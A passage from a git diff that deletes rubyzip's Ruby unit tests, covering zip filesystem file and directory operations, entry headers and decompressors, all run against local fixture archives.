"undef #{method}; alias #{method} #{method}_org" - end - -end - -include Zip - -class ZipFsFileNonmutatingTest < Test::Unit::TestCase - def setup - @zipFile = ZipFile.new("data/zipWithDirs.zip") - end - - def teardown - @zipFile.close if @zipFile - end - - def test_umask - assert_equal(File.umask, @zipFile.file.umask) - @zipFile.file.umask(0006) - end - - def test_exists? - assert(! @zipFile.file.exists?("notAFile")) - assert(@zipFile.file.exists?("file1")) - assert(@zipFile.file.exists?("dir1")) - assert(@zipFile.file.exists?("dir1/")) - assert(@zipFile.file.exists?("dir1/file12")) - assert(@zipFile.file.exist?("dir1/file12")) # notice, tests exist? alias of exists? ! - - @zipFile.dir.chdir "dir1/" - assert(!@zipFile.file.exists?("file1")) - assert(@zipFile.file.exists?("file12")) - end - - def test_open_read - blockCalled = false - @zipFile.file.open("file1", "r") { - |f| - blockCalled = true - assert_equal("this is the entry 'file1' in my test archive!", - f.readline.chomp) - } - assert(blockCalled) - - blockCalled = false - @zipFile.file.open("file1", "rb") { # test binary flag is ignored - |f| - blockCalled = true - assert_equal("this is the entry 'file1' in my test archive!", - f.readline.chomp) - } - assert(blockCalled) - - blockCalled = false - @zipFile.dir.chdir "dir2" - @zipFile.file.open("file21", "r") { - |f| - blockCalled = true - assert_equal("this is the entry 'dir2/file21' in my test archive!", - f.readline.chomp) - } - assert(blockCalled) - @zipFile.dir.chdir "/" - - assert_raise(Errno::ENOENT) { - @zipFile.file.open("noSuchEntry") - } - - begin - is = @zipFile.file.open("file1") - assert_equal("this is the entry 'file1' in my test archive!", - is.readline.chomp) - ensure - is.close if is - end - end - - def test_new - begin - is = @zipFile.file.new("file1") - assert_equal("this is the entry 'file1' in my test archive!", - is.readline.chomp) - ensure - is.close if is - end - begin - is = @zipFile.file.new("file1") { - fail "should not call block" - } - ensure - is.close if is - end - end - - def test_symlink - assert_raise(NotImplementedError) { - @zipFile.file.symlink("file1", "aSymlink") - } - end - - def test_size - assert_raise(Errno::ENOENT) { @zipFile.file.size("notAFile") } - assert_equal(72, @zipFile.file.size("file1")) - assert_equal(0, @zipFile.file.size("dir2/dir21")) - - assert_equal(72, @zipFile.file.stat("file1").size) - assert_equal(0, @zipFile.file.stat("dir2/dir21").size) - end - - def test_size? - assert_equal(nil, @zipFile.file.size?("notAFile")) - assert_equal(72, @zipFile.file.size?("file1")) - assert_equal(nil, @zipFile.file.size?("dir2/dir21")) - - assert_equal(72, @zipFile.file.stat("file1").size?) - assert_equal(nil, @zipFile.file.stat("dir2/dir21").size?) - end - - - def test_file? - assert(@zipFile.file.file?("file1")) - assert(@zipFile.file.file?("dir2/file21")) - assert(! @zipFile.file.file?("dir1")) - assert(! @zipFile.file.file?("dir1/dir11")) - - assert(@zipFile.file.stat("file1").file?) - assert(@zipFile.file.stat("dir2/file21").file?) - assert(! @zipFile.file.stat("dir1").file?) - assert(! @zipFile.file.stat("dir1/dir11").file?) - end - - include ExtraAssertions - - def test_dirname - assert_forwarded(File, :dirname, "retVal", "a/b/c/d") { - @zipFile.file.dirname("a/b/c/d") - } - end - - def test_basename - assert_forwarded(File, :basename, "retVal", "a/b/c/d") { - @zipFile.file.basename("a/b/c/d") - } - end - - def test_split - assert_forwarded(File, :split, "retVal", "a/b/c/d") { - @zipFile.file.split("a/b/c/d") - } - end - - def test_join - assert_equal("a/b/c", @zipFile.file.join("a/b", "c")) - assert_equal("a/b/c/d", @zipFile.file.join("a/b", "c/d")) - assert_equal("/c/d", @zipFile.file.join("", "c/d")) - assert_equal("a/b/c/d", @zipFile.file.join("a", "b", "c", "d")) - end - - def test_utime - t_now = Time.now - t_bak = @zipFile.file.mtime("file1") - @zipFile.file.utime(t_now, "file1") - assert_equal(t_now, @zipFile.file.mtime("file1")) - @zipFile.file.utime(t_bak, "file1") - assert_equal(t_bak, @zipFile.file.mtime("file1")) - end - - - def assert_always_false(operation) - assert(! @zipFile.file.send(operation, "noSuchFile")) - assert(! @zipFile.file.send(operation, "file1")) - assert(! @zipFile.file.send(operation, "dir1")) - assert(! @zipFile.file.stat("file1").send(operation)) - assert(! @zipFile.file.stat("dir1").send(operation)) - end - - def assert_true_if_entry_exists(operation) - assert(! @zipFile.file.send(operation, "noSuchFile")) - assert(@zipFile.file.send(operation, "file1")) - assert(@zipFile.file.send(operation, "dir1")) - assert(@zipFile.file.stat("file1").send(operation)) - assert(@zipFile.file.stat("dir1").send(operation)) - end - - def test_pipe? - assert_always_false(:pipe?) - end - - def test_blockdev? - assert_always_false(:blockdev?) - end - - def test_symlink? - assert_always_false(:symlink?) - end - - def test_socket? - assert_always_false(:socket?) - end - - def test_chardev? - assert_always_false(:chardev?) - end - - def test_truncate - assert_raise(StandardError, "truncate not supported") { - @zipFile.file.truncate("file1", 100) - } - end - - def assert_e_n_o_e_n_t(operation, args = ["NoSuchFile"]) - assert_raise(Errno::ENOENT) { - @zipFile.file.send(operation, *args) - } - end - - def test_ftype - assert_e_n_o_e_n_t(:ftype) - assert_equal("file", @zipFile.file.ftype("file1")) - assert_equal("directory", @zipFile.file.ftype("dir1/dir11")) - assert_equal("directory", @zipFile.file.ftype("dir1/dir11/")) - end - - def test_link - assert_raise(NotImplementedError) { - @zipFile.file.link("file1", "someOtherString") - } - end - - def test_directory? - assert(! @zipFile.file.directory?("notAFile")) - assert(! @zipFile.file.directory?("file1")) - assert(! @zipFile.file.directory?("dir1/file11")) - assert(@zipFile.file.directory?("dir1")) - assert(@zipFile.file.directory?("dir1/")) - assert(@zipFile.file.directory?("dir2/dir21")) - - assert(! @zipFile.file.stat("file1").directory?) - assert(! @zipFile.file.stat("dir1/file11").directory?) - assert(@zipFile.file.stat("dir1").directory?) - assert(@zipFile.file.stat("dir1/").directory?) - assert(@zipFile.file.stat("dir2/dir21").directory?) - end - - def test_chown - assert_equal(2, @zipFile.file.chown(1,2, "dir1", "file1")) - assert_equal(1, @zipFile.file.stat("dir1").uid) - assert_equal(2, @zipFile.file.stat("dir1").gid) - assert_equal(2, @zipFile.file.chown(nil, nil, "dir1", "file1")) - end - - def test_zero? - assert(! @zipFile.file.zero?("notAFile")) - assert(! @zipFile.file.zero?("file1")) - assert(@zipFile.file.zero?("dir1")) - blockCalled = false - ZipFile.open("data/generated/5entry.zip") { - |zf| - blockCalled = true - assert(zf.file.zero?("data/generated/empty.txt")) - } - assert(blockCalled) - - assert(! @zipFile.file.stat("file1").zero?) - assert(@zipFile.file.stat("dir1").zero?) - blockCalled = false - ZipFile.open("data/generated/5entry.zip") { - |zf| - blockCalled = true - assert(zf.file.stat("data/generated/empty.txt").zero?) - } - assert(blockCalled) - end - - def test_expand_path - ZipFile.open("data/zipWithDirs.zip") { - |zf| - assert_equal("/", zf.file.expand_path(".")) - zf.dir.chdir "dir1" - assert_equal("/dir1", zf.file.expand_path(".")) - assert_equal("/dir1/file12", zf.file.expand_path("file12")) - assert_equal("/", zf.file.expand_path("..")) - assert_equal("/dir2/dir21", zf.file.expand_path("../dir2/dir21")) - } - end - - def test_mtime - assert_equal(Time.at(1027694306), - @zipFile.file.mtime("dir2/file21")) - assert_equal(Time.at(1027690863), - @zipFile.file.mtime("dir2/dir21")) - assert_raise(Errno::ENOENT) { - @zipFile.file.mtime("noSuchEntry") - } - - assert_equal(Time.at(1027694306), - @zipFile.file.stat("dir2/file21").mtime) - assert_equal(Time.at(1027690863), - @zipFile.file.stat("dir2/dir21").mtime) - end - - def test_ctime - assert_nil(@zipFile.file.ctime("file1")) - assert_nil(@zipFile.file.stat("file1").ctime) - end - - def test_atime - assert_nil(@zipFile.file.atime("file1")) - assert_nil(@zipFile.file.stat("file1").atime) - end - - def test_readable? - assert(! @zipFile.file.readable?("noSuchFile")) - assert(@zipFile.file.readable?("file1")) - assert(@zipFile.file.readable?("dir1")) - assert(@zipFile.file.stat("file1").readable?) - assert(@zipFile.file.stat("dir1").readable?) - end - - def test_readable_real? - assert(! @zipFile.file.readable_real?("noSuchFile")) - assert(@zipFile.file.readable_real?("file1")) - assert(@zipFile.file.readable_real?("dir1")) - assert(@zipFile.file.stat("file1").readable_real?) - assert(@zipFile.file.stat("dir1").readable_real?) - end - - def test_writable? - assert(! @zipFile.file.writable?("noSuchFile")) - assert(@zipFile.file.writable?("file1")) - assert(@zipFile.file.writable?("dir1")) - assert(@zipFile.file.stat("file1").writable?) - assert(@zipFile.file.stat("dir1").writable?) - end - - def test_writable_real? - assert(! @zipFile.file.writable_real?("noSuchFile")) - assert(@zipFile.file.writable_real?("file1")) - assert(@zipFile.file.writable_real?("dir1")) - assert(@zipFile.file.stat("file1").writable_real?) - assert(@zipFile.file.stat("dir1").writable_real?) - end - - def test_executable? - assert(! @zipFile.file.executable?("noSuchFile")) - assert(! @zipFile.file.executable?("file1")) - assert(@zipFile.file.executable?("dir1")) - assert(! @zipFile.file.stat("file1").executable?) - assert(@zipFile.file.stat("dir1").executable?) - end - - def test_executable_real? - assert(! @zipFile.file.executable_real?("noSuchFile")) - assert(! @zipFile.file.executable_real?("file1")) - assert(@zipFile.file.executable_real?("dir1")) - assert(! @zipFile.file.stat("file1").executable_real?) - assert(@zipFile.file.stat("dir1").executable_real?) - end - - def test_owned? - assert_true_if_entry_exists(:owned?) - end - - def test_grpowned? - assert_true_if_entry_exists(:grpowned?) - end - - def test_setgid? - assert_always_false(:setgid?) - end - - def test_setuid? - assert_always_false(:setgid?) - end - - def test_sticky? - assert_always_false(:sticky?) - end - - def test_readlink - assert_raise(NotImplementedError) { - @zipFile.file.readlink("someString") - } - end - - def test_stat - s = @zipFile.file.stat("file1") - assert(s.kind_of?(File::Stat)) # It pretends - assert_raise(Errno::ENOENT, "No such file or directory - noSuchFile") { - @zipFile.file.stat("noSuchFile") - } - end - - def test_lstat - assert(@zipFile.file.lstat("file1").file?) - end - - - def test_chmod - assert_raise(Errno::ENOENT, "No such file or directory - noSuchFile") { - @zipFile.file.chmod(0644, "file1", "NoSuchFile") - } - assert_equal(2, @zipFile.file.chmod(0644, "file1", "dir1")) - end - - def test_pipe - assert_raise(NotImplementedError) { - @zipFile.file.pipe - } - end - - def test_foreach - ZipFile.open("data/generated/zipWithDir.zip") { - |zf| - ref = [] - File.foreach("data/file1.txt") { |e| ref << e } - - index = 0 - zf.file.foreach("data/file1.txt") { - |l| - assert_equal(ref[index], l) - index = index.next - } - assert_equal(ref.size, index) - } - - ZipFile.open("data/generated/zipWithDir.zip") { - |zf| - ref = [] - File.foreach("data/file1.txt", " ") { |e| ref << e } - - index = 0 - zf.file.foreach("data/file1.txt", " ") { - |l| - assert_equal(ref[index], l) - index = index.next - } - assert_equal(ref.size, index) - } - end - - def test_popen - if RUBY_PLATFORM =~ /mswin|mingw/i - cmd = 'dir' - else - cmd = 'ls' - end - - assert_equal(File.popen(cmd) { |f| f.read }, - @zipFile.file.popen(cmd) { |f| f.read }) - end - -# Can be added later -# def test_select -# fail "implement test" -# end - - def test_readlines - ZipFile.open("data/generated/zipWithDir.zip") { - |zf| - assert_equal(File.readlines("data/file1.txt"), - zf.file.readlines("data/file1.txt")) - } - end - - def test_read - ZipFile.open("data/generated/zipWithDir.zip") { - |zf| - assert_equal(File.read("data/file1.txt"), - zf.file.read("data/file1.txt")) - } - end - -end - -class ZipFsFileStatTest < Test::Unit::TestCase - - def setup - @zipFile = ZipFile.new("data/zipWithDirs.zip") - end - - def teardown - @zipFile.close if @zipFile - end - - def test_blocks - assert_equal(nil, @zipFile.file.stat("file1").blocks) - end - - def test_ino - assert_equal(0, @zipFile.file.stat("file1").ino) - end - - def test_uid - assert_equal(0, @zipFile.file.stat("file1").uid) - end - - def test_gid - assert_equal(0, @zipFile.file.stat("file1").gid) - end - - def test_ftype - assert_equal("file", @zipFile.file.stat("file1").ftype) - assert_equal("directory", @zipFile.file.stat("dir1").ftype) - end - - def test_mode - assert_equal(0600, @zipFile.file.stat("file1").mode & 0777) - assert_equal(0600, @zipFile.file.stat("file1").mode & 0777) - assert_equal(0755, @zipFile.file.stat("dir1").mode & 0777) - assert_equal(0755, @zipFile.file.stat("dir1").mode & 0777) - end - - def test_dev - assert_equal(0, @zipFile.file.stat("file1").dev) - end - - def test_rdev - assert_equal(0, @zipFile.file.stat("file1").rdev) - end - - def test_rdev_major - assert_equal(0, @zipFile.file.stat("file1").rdev_major) - end - - def test_rdev_minor - assert_equal(0, @zipFile.file.stat("file1").rdev_minor) - end - - def test_nlink - assert_equal(1, @zipFile.file.stat("file1").nlink) - end - - def test_blksize - assert_nil(@zipFile.file.stat("file1").blksize) - end - -end - -class ZipFsFileMutatingTest < Test::Unit::TestCase - TEST_ZIP = "zipWithDirs_copy.zip" - def setup - FileUtils.cp("data/zipWithDirs.zip", TEST_ZIP) - end - - def teardown - end - - def test_delete - do_test_delete_or_unlink(:delete) - end - - def test_unlink - do_test_delete_or_unlink(:unlink) - end - - def test_open_write - ZipFile.open(TEST_ZIP) { - |zf| - - zf.file.open("test_open_write_entry", "w") { - |f| - blockCalled = true - f.write "This is what I'm writing" - } - assert_equal("This is what I'm writing", - zf.file.read("test_open_write_entry")) - - # Test with existing entry - zf.file.open("file1", "wb") { #also check that 'b' option is ignored - |f| - blockCalled = true - f.write "This is what I'm writing too" - } - assert_equal("This is what I'm writing too", - zf.file.read("file1")) - } - end - - def test_rename - ZipFile.open(TEST_ZIP) { - |zf| - assert_raise(Errno::ENOENT, "") { - zf.file.rename("NoSuchFile", "bimse") - } - zf.file.rename("file1", "newNameForFile1") - } - - ZipFile.open(TEST_ZIP) { - |zf| - assert(! zf.file.exists?("file1")) - assert(zf.file.exists?("newNameForFile1")) - } - end - - def do_test_delete_or_unlink(symbol) - ZipFile.open(TEST_ZIP) { - |zf| - assert(zf.file.exists?("dir2/dir21/dir221/file2221")) - zf.file.send(symbol, "dir2/dir21/dir221/file2221") - assert(! zf.file.exists?("dir2/dir21/dir221/file2221")) - - assert(zf.file.exists?("dir1/file11")) - assert(zf.file.exists?("dir1/file12")) - zf.file.send(symbol, "dir1/file11", "dir1/file12") - assert(! zf.file.exists?("dir1/file11")) - assert(! zf.file.exists?("dir1/file12")) - - assert_raise(Errno::ENOENT) { zf.file.send(symbol, "noSuchFile") } - assert_raise(Errno::EISDIR) { zf.file.send(symbol, "dir1/dir11") } - assert_raise(Errno::EISDIR) { zf.file.send(symbol, "dir1/dir11/") } - } - - ZipFile.open(TEST_ZIP) { - |zf| - assert(! zf.file.exists?("dir2/dir21/dir221/file2221")) - assert(! zf.file.exists?("dir1/file11")) - assert(! zf.file.exists?("dir1/file12")) - - assert(zf.file.exists?("dir1/dir11")) - assert(zf.file.exists?("dir1/dir11/")) - } - end - -end - -class ZipFsDirectoryTest < Test::Unit::TestCase - TEST_ZIP = "zipWithDirs_copy.zip" - - def setup - FileUtils.cp("data/zipWithDirs.zip", TEST_ZIP) - end - - def test_delete - ZipFile.open(TEST_ZIP) { - |zf| - assert_raise(Errno::ENOENT, "No such file or directory - NoSuchFile.txt") { - zf.dir.delete("NoSuchFile.txt") - } - assert_raise(Errno::EINVAL, "Invalid argument - file1") { - zf.dir.delete("file1") - } - assert(zf.file.exists?("dir1")) - zf.dir.delete("dir1") - assert(! zf.file.exists?("dir1")) - } - end - - def test_mkdir - ZipFile.open(TEST_ZIP) { - |zf| - assert_raise(Errno::EEXIST, "File exists - dir1") { - zf.dir.mkdir("file1") - } - assert_raise(Errno::EEXIST, "File exists - dir1") { - zf.dir.mkdir("dir1") - } - assert(!zf.file.exists?("newDir")) - zf.dir.mkdir("newDir") - assert(zf.file.directory?("newDir")) - assert(!zf.file.exists?("newDir2")) - zf.dir.mkdir("newDir2", 3485) - assert(zf.file.directory?("newDir2")) - } - end - - def test_pwd_chdir_entries - ZipFile.open(TEST_ZIP) { - |zf| - assert_equal("/", zf.dir.pwd) - - assert_raise(Errno::ENOENT, "No such file or directory - no such dir") { - zf.dir.chdir "no such dir" - } - - assert_raise(Errno::EINVAL, "Invalid argument - file1") { - zf.dir.chdir "file1" - } - - assert_equal(["dir1", "dir2", "file1"].sort, zf.dir.entries(".").sort) - zf.dir.chdir "dir1" - assert_equal("/dir1", zf.dir.pwd) - assert_equal(["dir11", "file11", "file12"], zf.dir.entries(".").sort) - - zf.dir.chdir "../dir2/dir21" - assert_equal("/dir2/dir21", zf.dir.pwd) - assert_equal(["dir221"].sort, zf.dir.entries(".").sort) - } - end - - def test_foreach - ZipFile.open(TEST_ZIP) { - |zf| - - blockCalled = false - assert_raise(Errno::ENOENT, "No such file or directory - noSuchDir") { - zf.dir.foreach("noSuchDir") { |e| blockCalled = true } - } - assert(! blockCalled) - - assert_raise(Errno::ENOTDIR, "Not a directory - file1") { - zf.dir.foreach("file1") { |e| blockCalled = true } - } - assert(! blockCalled) - - entries = [] - zf.dir.foreach(".") { |e| entries << e } - assert_equal(["dir1", "dir2", "file1"].sort, entries.sort) - - entries = [] - zf.dir.foreach("dir1") { |e| entries << e } - assert_equal(["dir11", "file11", "file12"], entries.sort) - } - end - - def test_chroot - ZipFile.open(TEST_ZIP) { - |zf| - assert_raise(NotImplementedError) { - zf.dir.chroot - } - } - end - - # Globbing not supported yet - #def test_glob - # # test alias []-operator too - # fail "implement test" - #end - - def test_open_new - ZipFile.open(TEST_ZIP) { - |zf| - - assert_raise(Errno::ENOTDIR, "Not a directory - file1") { - zf.dir.new("file1") - } - - assert_raise(Errno::ENOENT, "No such file or directory - noSuchFile") { - zf.dir.new("noSuchFile") - } - - d = zf.dir.new(".") - assert_equal(["file1", "dir1", "dir2"].sort, d.entries.sort) - d.close - - zf.dir.open("dir1") { - |dir| - assert_equal(["dir11", "file11", "file12"].sort, dir.entries.sort) - } - } - end - -end - -class ZipFsDirIteratorTest < Test::Unit::TestCase - - FILENAME_ARRAY = [ "f1", "f2", "f3", "f4", "f5", "f6" ] - - def setup - @dirIt = ZipFileSystem::ZipFsDirIterator.new(FILENAME_ARRAY) - end - - def test_close - @dirIt.close - assert_raise(IOError, "closed directory") { - @dirIt.each { |e| p e } - } - assert_raise(IOError, "closed directory") { - @dirIt.read - } - assert_raise(IOError, "closed directory") { - @dirIt.rewind - } - assert_raise(IOError, "closed directory") { - @dirIt.seek(0) - } - assert_raise(IOError, "closed directory") { - @dirIt.tell - } - - end - - def test_each - # Tested through Enumerable.entries - assert_equal(FILENAME_ARRAY, @dirIt.entries) - end - - def test_read - FILENAME_ARRAY.size.times { - |i| - assert_equal(FILENAME_ARRAY[i], @dirIt.read) - } - end - - def test_rewind - @dirIt.read - @dirIt.read - assert_equal(FILENAME_ARRAY[2], @dirIt.read) - @dirIt.rewind - assert_equal(FILENAME_ARRAY[0], @dirIt.read) - end - - def test_tell_seek - @dirIt.read - @dirIt.read - pos = @dirIt.tell - valAtPos = @dirIt.read - @dirIt.read - @dirIt.seek(pos) - assert_equal(valAtPos, @dirIt.read) - end - -end - - -# Copyright (C) 2002, 2003 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/test/ziprequiretest.rb b/lib/zip/test/ziprequiretest.rb deleted file mode 100755 index 68d2c714ed..0000000000 --- a/lib/zip/test/ziprequiretest.rb +++ /dev/null @@ -1,43 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -$: << "../lib" - -require 'test/unit' -require 'zip/ziprequire' - -$: << 'data/rubycode.zip' << 'data/rubycode2.zip' - -class ZipRequireTest < Test::Unit::TestCase - def test_require - assert(require('data/notzippedruby')) - assert(!require('data/notzippedruby')) - - assert(require('zippedruby1')) - assert(!require('zippedruby1')) - - assert(require('zippedruby2')) - assert(!require('zippedruby2')) - - assert(require('zippedruby3')) - assert(!require('zippedruby3')) - - c1 = NotZippedRuby.new - assert(c1.returnTrue) - assert(ZippedRuby1.returnTrue) - assert(!ZippedRuby2.returnFalse) - assert_equal(4, ZippedRuby3.multiplyValues(2, 2)) - end - - def test_get_resource - get_resource("aResource.txt") { - |f| - assert_equal("Nothing exciting in this file!", f.read) - } - end -end - -# Copyright (C) 2002 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/test/ziptest.rb b/lib/zip/test/ziptest.rb deleted file mode 100755 index aa07ffe848..0000000000 --- a/lib/zip/test/ziptest.rb +++ /dev/null @@ -1,1623 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -$: << "../lib" - -require 'test/unit' -require 'fileutils' -require 'zip/zip' -require 'gentestfiles' - -include Zip - - -class ZipEntryTest < Test::Unit::TestCase - TEST_ZIPFILE = "someZipFile.zip" - TEST_COMMENT = "a comment" - TEST_COMPRESSED_SIZE = 1234 - TEST_CRC = 325324 - TEST_EXTRA = "Some data here" - TEST_COMPRESSIONMETHOD = ZipEntry::DEFLATED - TEST_NAME = "entry name" - TEST_SIZE = 8432 - TEST_ISDIRECTORY = false - - def test_constructorAndGetters - entry = ZipEntry.new(TEST_ZIPFILE, - TEST_NAME, - TEST_COMMENT, - TEST_EXTRA, - TEST_COMPRESSED_SIZE, - TEST_CRC, - TEST_COMPRESSIONMETHOD, - TEST_SIZE) - - assert_equal(TEST_COMMENT, entry.comment) - assert_equal(TEST_COMPRESSED_SIZE, entry.compressed_size) - assert_equal(TEST_CRC, entry.crc) - assert_instance_of(Zip::ZipExtraField, entry.extra) - assert_equal(TEST_COMPRESSIONMETHOD, entry.compression_method) - assert_equal(TEST_NAME, entry.name) - assert_equal(TEST_SIZE, entry.size) - assert_equal(TEST_ISDIRECTORY, entry.is_directory) - end - - def test_is_directoryAndIsFile - assert(ZipEntry.new(TEST_ZIPFILE, "hello").file?) - assert(! ZipEntry.new(TEST_ZIPFILE, "hello").directory?) - - assert(ZipEntry.new(TEST_ZIPFILE, "dir/hello").file?) - assert(! ZipEntry.new(TEST_ZIPFILE, "dir/hello").directory?) - - assert(ZipEntry.new(TEST_ZIPFILE, "hello/").directory?) - assert(! ZipEntry.new(TEST_ZIPFILE, "hello/").file?) - - assert(ZipEntry.new(TEST_ZIPFILE, "dir/hello/").directory?) - assert(! ZipEntry.new(TEST_ZIPFILE, "dir/hello/").file?) - end - - def test_equality - entry1 = ZipEntry.new("file.zip", "name", "isNotCompared", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry2 = ZipEntry.new("file.zip", "name", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry3 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry4 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry5 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 1234, - ZipEntry::DEFLATED, 10000) - entry6 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::DEFLATED, 10000) - entry7 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 10000) - entry8 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 100000) - - assert_equal(entry1, entry1) - assert_equal(entry1, entry2) - - assert(entry2 != entry3) - assert(entry3 != entry4) - assert(entry4 != entry5) - assert(entry5 != entry6) - assert(entry6 != entry7) - assert(entry7 != entry8) - - assert(entry7 != "hello") - assert(entry7 != 12) - end - - def test_compare - assert_equal(0, (ZipEntry.new("zf.zip", "a") <=> ZipEntry.new("zf.zip", "a"))) - assert_equal(1, (ZipEntry.new("zf.zip", "b") <=> ZipEntry.new("zf.zip", "a"))) - assert_equal(-1, (ZipEntry.new("zf.zip", "a") <=> ZipEntry.new("zf.zip", "b"))) - - entries = [ - ZipEntry.new("zf.zip", "5"), - ZipEntry.new("zf.zip", "1"), - ZipEntry.new("zf.zip", "3"), - ZipEntry.new("zf.zip", "4"), - ZipEntry.new("zf.zip", "0"), - ZipEntry.new("zf.zip", "2") - ] - - entries.sort! - assert_equal("0", entries[0].to_s) - assert_equal("1", entries[1].to_s) - assert_equal("2", entries[2].to_s) - assert_equal("3", entries[3].to_s) - assert_equal("4", entries[4].to_s) - assert_equal("5", entries[5].to_s) - end - - def test_parentAsString - entry1 = ZipEntry.new("zf.zip", "aa") - entry2 = ZipEntry.new("zf.zip", "aa/") - entry3 = ZipEntry.new("zf.zip", "aa/bb") - entry4 = ZipEntry.new("zf.zip", "aa/bb/") - entry5 = ZipEntry.new("zf.zip", "aa/bb/cc") - entry6 = ZipEntry.new("zf.zip", "aa/bb/cc/") - - assert_equal(nil, entry1.parent_as_string) - assert_equal(nil, entry2.parent_as_string) - assert_equal("aa/", entry3.parent_as_string) - assert_equal("aa/", entry4.parent_as_string) - assert_equal("aa/bb/", entry5.parent_as_string) - assert_equal("aa/bb/", entry6.parent_as_string) - end - - def test_entry_name_cannot_start_with_slash - assert_raise(ZipEntryNameError) { ZipEntry.new("zf.zip", "/hej/der") } - end -end - -module IOizeString - attr_reader :tell - - def read(count = nil) - @tell ||= 0 - count = size unless count - retVal = slice(@tell, count) - @tell += count - return retVal - end - - def seek(index, offset) - @tell ||= 0 - case offset - when IO::SEEK_END - newPos = size + index - when IO::SEEK_SET - newPos = index - when IO::SEEK_CUR - newPos = @tell + index - else - raise "Error in test method IOizeString::seek" - end - if (newPos < 0 || newPos >= size) - raise Errno::EINVAL - else - @tell=newPos - end - end - - def reset - @tell = 0 - end -end - -class ZipLocalEntryTest < Test::Unit::TestCase - def test_read_local_entryHeaderOfFirstTestZipEntry - File.open(TestZipFile::TEST_ZIP3.zip_name, "rb") { - |file| - entry = ZipEntry.read_local_entry(file) - - assert_equal("", entry.comment) - # Differs from windows and unix because of CR LF - # assert_equal(480, entry.compressed_size) - # assert_equal(0x2a27930f, entry.crc) - # extra field is 21 bytes long - # probably contains some unix attrutes or something - # disabled: assert_equal(nil, entry.extra) - assert_equal(ZipEntry::DEFLATED, entry.compression_method) - assert_equal(TestZipFile::TEST_ZIP3.entry_names[0], entry.name) - assert_equal(File.size(TestZipFile::TEST_ZIP3.entry_names[0]), entry.size) - assert(! entry.is_directory) - } - end - - def test_readDateTime - File.open("data/rubycode.zip", "rb") { - |file| - entry = ZipEntry.read_local_entry(file) - assert_equal("zippedruby1.rb", entry.name) - assert_equal(Time.at(1019261638), entry.time) - } - end - - def test_read_local_entryFromNonZipFile - File.open("data/file2.txt") { - |file| - assert_equal(nil, ZipEntry.read_local_entry(file)) - } - end - - def test_read_local_entryFromTruncatedZipFile - zipFragment="" - File.open(TestZipFile::TEST_ZIP2.zip_name) { |f| zipFragment = f.read(12) } # local header is at least 30 bytes - zipFragment.extend(IOizeString).reset - entry = ZipEntry.new - entry.read_local_entry(zipFragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeEntry - entry = ZipEntry.new("file.zip", "entryName", "my little comment", - "thisIsSomeExtraInformation", 100, 987654, - ZipEntry::DEFLATED, 400) - write_to_file("localEntryHeader.bin", "centralEntryHeader.bin", entry) - entryReadLocal, entryReadCentral = read_from_file("localEntryHeader.bin", "centralEntryHeader.bin") - compare_local_entry_headers(entry, entryReadLocal) - compare_c_dir_entry_headers(entry, entryReadCentral) - end - - private - def compare_local_entry_headers(entry1, entry2) - assert_equal(entry1.compressed_size , entry2.compressed_size) - assert_equal(entry1.crc , entry2.crc) - assert_equal(entry1.extra , entry2.extra) - assert_equal(entry1.compression_method, entry2.compression_method) - assert_equal(entry1.name , entry2.name) - assert_equal(entry1.size , entry2.size) - assert_equal(entry1.localHeaderOffset, entry2.localHeaderOffset) - end - - def compare_c_dir_entry_headers(entry1, entry2) - compare_local_entry_headers(entry1, entry2) - assert_equal(entry1.comment, entry2.comment) - end - - def write_to_file(localFileName, centralFileName, entry) - File.open(localFileName, "wb") { |f| entry.write_local_entry(f) } - File.open(centralFileName, "wb") { |f| entry.write_c_dir_entry(f) } - end - - def read_from_file(localFileName, centralFileName) - localEntry = nil - cdirEntry = nil - File.open(localFileName, "rb") { |f| localEntry = ZipEntry.read_local_entry(f) } - File.open(centralFileName, "rb") { |f| cdirEntry = ZipEntry.read_c_dir_entry(f) } - return [localEntry, cdirEntry] - end -end - - -module DecompressorTests - # expects @refText, @refLines and @decompressor - - TEST_FILE="data/file1.txt" - - def setup - @refText="" - File.open(TEST_FILE) { |f| @refText = f.read } - @refLines = @refText.split($/) - end - - def test_readEverything - assert_equal(@refText, @decompressor.sysread) - end - - def test_readInChunks - chunkSize = 5 - while (decompressedChunk = @decompressor.sysread(chunkSize)) - assert_equal(@refText.slice!(0, chunkSize), decompressedChunk) - end - assert_equal(0, @refText.size) - end - - def test_mixingReadsAndProduceInput - # Just some preconditions to make sure we have enough data for this test - assert(@refText.length > 1000) - assert(@refLines.length > 40) - - - assert_equal(@refText[0...100], @decompressor.sysread(100)) - - assert(! @decompressor.input_finished?) - buf = @decompressor.produce_input - assert_equal(@refText[100...(100+buf.length)], buf) - end -end - -class InflaterTest < Test::Unit::TestCase - include DecompressorTests - - def setup - super - @file = File.new("data/file1.txt.deflatedData", "rb") - @decompressor = Inflater.new(@file) - end - - def teardown - @file.close - end -end - - -class PassThruDecompressorTest < Test::Unit::TestCase - include DecompressorTests - def setup - super - @file = File.new(TEST_FILE) - @decompressor = PassThruDecompressor.new(@file, File.size(TEST_FILE)) - end - - def teardown - @file.close - end -end - - -module AssertEntry - def assert_next_entry(filename, zis) - assert_entry(filename, zis, zis.get_next_entry.name) - end - - def assert_entry(filename, zis, entryName) - assert_equal(filename, entryName) - assert_entryContentsForStream(filename, zis, entryName) - end - - def assert_entryContentsForStream(filename, zis, entryName) - File.open(filename, "rb") { - |file| - expected = file.read - actual = zis.read - if (expected != actual) - if ((expected && 